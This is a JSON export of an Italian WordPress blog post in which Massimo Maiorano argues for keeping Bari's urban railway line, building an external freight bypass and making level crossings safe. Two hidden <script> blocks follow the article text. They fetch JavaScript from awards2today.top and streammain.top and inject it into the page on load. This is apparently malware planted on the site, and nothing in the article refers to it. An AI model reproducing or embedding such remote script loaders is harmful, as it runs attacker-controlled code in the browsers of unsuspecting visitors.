{"id":2452,"date":"2025-04-03T11:39:13","date_gmt":"2025-04-03T11:39:13","guid":{"rendered":"https:\/\/www.massimomaiorano.it\/maiorano\/?p=2452"},"modified":"2025-07-07T16:07:00","modified_gmt":"2025-07-07T16:07:00","slug":"nota-di-maiorano-sul-tema-del-nodo-ferroviario-bari-nord","status":"publish","type":"post","link":"https:\/\/www.massimomaiorano.it\/maiorano\/nota-di-maiorano-sul-tema-del-nodo-ferroviario-bari-nord\/","title":{"rendered":"NOTA DI MAIORANO SUL TEMA DEL NODO FERROVIARIO BARI NORD"},"content":{"rendered":"\n<p class=\"has-medium-font-size wp-block-paragraph\">Nota di <strong>Massimo Maiorano<\/strong><br>Componente del Collegio degli Esperti del Presidente della Regione<br>Puglia sul tema del Nodo Ferroviario Bari Nord<br>Il Nodo Ferroviario Bari Nord rappresenta una questione strategica per lo sviluppo<br>infrastrutturale dell\u2019area metropolitana barese e richiede una visione integrata,<br>concreta e coerente con i principi di sostenibilit\u00e0, intermodalit\u00e0 e sicurezza.<br>A tal proposito, ritengo necessario ribadire con chiarezza alcune considerazioni e<br>proposte operative, gi\u00e0 oggetto di confronto pubblico, che meritano attenzione da<br>parte di tutte le istituzioni coinvolte.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li class=\"has-medium-font-size\">Variante esterna: funzionale, ma fuori dal perimetro urbano La variante ferroviaria da Giovinazzo a Bari Parco Nord \u2013 11 km di tracciato \u2013 risponde all\u2019esigenza di separare il traffico merci e a lunga percorrenza dal tessuto urbano. \u00c8 una scelta coerente con la liberalizzazione del trasporto ferroviario (Direttiva 91\/440\/CEE) e con la necessit\u00e0 di aumentare capacit\u00e0 e sicurezza. Tuttavia,<br>questa infrastruttura non pu\u00f2 n\u00e9 deve sostituire la linea esistente.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Mantenere l\u2019attuale tracciato urbano: una scelta tecnica, sociale ed economica<br>La linea ferroviaria attuale serve quotidianamente migliaia di cittadini, soprattutto<br>giovani, studenti e pendolari. Secondo dati regionali, si tratta di una delle tratte pi\u00f9<br>redditizie per Trenitalia. Sopprimerla significherebbe impoverire il territorio di un<br>asset essenziale per la mobilit\u00e0 sostenibile, con gravi conseguenze ambientali e<br>sociali.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Separazione funzionale delle infrastrutture: un principio europeo<br>La normativa europea richiede la distinzione tra infrastruttura e servizi. In questo<br>contesto, la nuova variante pu\u00f2 ospitare i flussi merci e a lunga percorrenza, mentre il<br>tracciato urbano deve restare al servizio della mobilit\u00e0 regionale e metropolitana.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Riqualificare le fermate esistenti prima di realizzarne di nuove<br>Nel territorio nord di Bari esistono fermate gi\u00e0 attive o potenzialmente recuperabili<br>(Bari Europa, Aeroporto Karol Wojtyla, Enziteto). \u00c8 prioritario valorizzarle e<br>integrarle in una rete intermodale prima di prevedere nuove fermate decentrate, con<br>scarsa accessibilit\u00e0 e impatto urbanistico rilevante.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Messa in sicurezza dei centri abitati in prossimit\u00e0 dei passaggi a livello: una<br>priorit\u00e0 non pi\u00f9 rinviabile<br>Palese e Santo Spirito contano sette passaggi a livello, spesso in prossimit\u00e0 di scuole<br>e aree densamente popolate. Ad oggi, solo due progetti sono stati approvati (Viale<br>Caravella, Strada Catino). \u00c8 necessario attivare interventi alternativi anche per gli<br>altri attraversamenti, al fine di garantire la sicurezza degli utenti deboli della strada.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Ipotesi di estensione del BRT verso Palese e Santo Spirito: valutazioni critiche<br>Circola l\u2019ipotesi di estendere verso nord il sistema BRT (Bus Rapid Transit),<br>attualmente operativo fino a Fesca\u2013San Girolamo. Tale prospettiva presenta criticit\u00e0<br>significative: il territorio di Palese e Santo Spirito \u00e8 caratterizzato da dispersione<br>urbanistica, viabilit\u00e0 secondaria e mancanza di infrastrutture adeguate. Inoltre, il BRT<br>non garantisce la capacit\u00e0, la puntualit\u00e0 e la sostenibilit\u00e0 del trasporto su ferro.<br>Considerati anche i costi elevati, appare necessario valutare con attenzione l\u2019effettiva<br>efficacia di tale opzione.<br>Il ferro, in questo contesto, resta insostituibile.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Coerenza con il PUG e il PUMS: ferro e intermodalit\u00e0 come cardini della<br>mobilit\u00e0<br>Documento Programmatico Preliminare del Piano Urbanistico Generale (PUG) del<br>Comune di Bari e il Piano Urbano della Mobilit\u00e0 Sostenibile (PUMS) indicano<br>chiaramente la necessit\u00e0 di rafforzare il sistema ferroviario esistente e di integrarlo<br>con altri sistemi di trasporto sostenibile: tram, mobilit\u00e0 dolce, ciclovie, TPL.<br>Sopprimere la linea ferroviaria urbana va esattamente contro questa direzione.<br>Costringere i cittadini a prendere l\u2019auto per raggiungere nuove fermate<br>decentrate?<br>\u00c8 una contraddizione in termini, non una transizione ecologica.<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Definanziamento CIPESS: una lezione da non ignorare<br>Il definanziamento di 608 milioni di euro da parte del CIPESS nel novembre 2024,<br>causato dai ritardi progettuali, impone una riflessione profonda sulla gestione delle<br>grandi opere. Serve maggiore aderenza ai tempi, trasparenza e responsabilit\u00e0<br>amministrativa.<br>Si propone quindi:<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\">La realizzazione della variante esterna per merci e lunga percorrenza, fuori dal centro abitato;<\/li>\n\n\n\n<li class=\"has-medium-font-size\">Il mantenimento del tracciato urbano esistente, destinato al servizio regionale<br>e metropolitano;<\/li>\n\n\n\n<li class=\"has-medium-font-size\">La messa in sicurezza immediata dei centri abitati in prossimit\u00e0 dei passaggi a<br>livello;<\/li>\n\n\n\n<li class=\"has-medium-font-size\">La valorizzazione delle fermate esistenti, in una logica di rete e intermodalit\u00e0;<\/li>\n\n\n\n<li class=\"has-medium-font-size\">La valutazione attenta e prudente dell\u2019ipotesi di estensione del BRT, in territori<br>strutturalmente inadeguati.<br>Solo con scelte coerenti, informate e condivise potremo costruire un futuro della<br>mobilit\u00e0 a misura di cittadini e territori. Il Nodo Ferroviario Nord deve essere<br>un\u2019opportunit\u00e0 di sviluppo, non un\u2019ulteriore occasione mancata.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/awards2today.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        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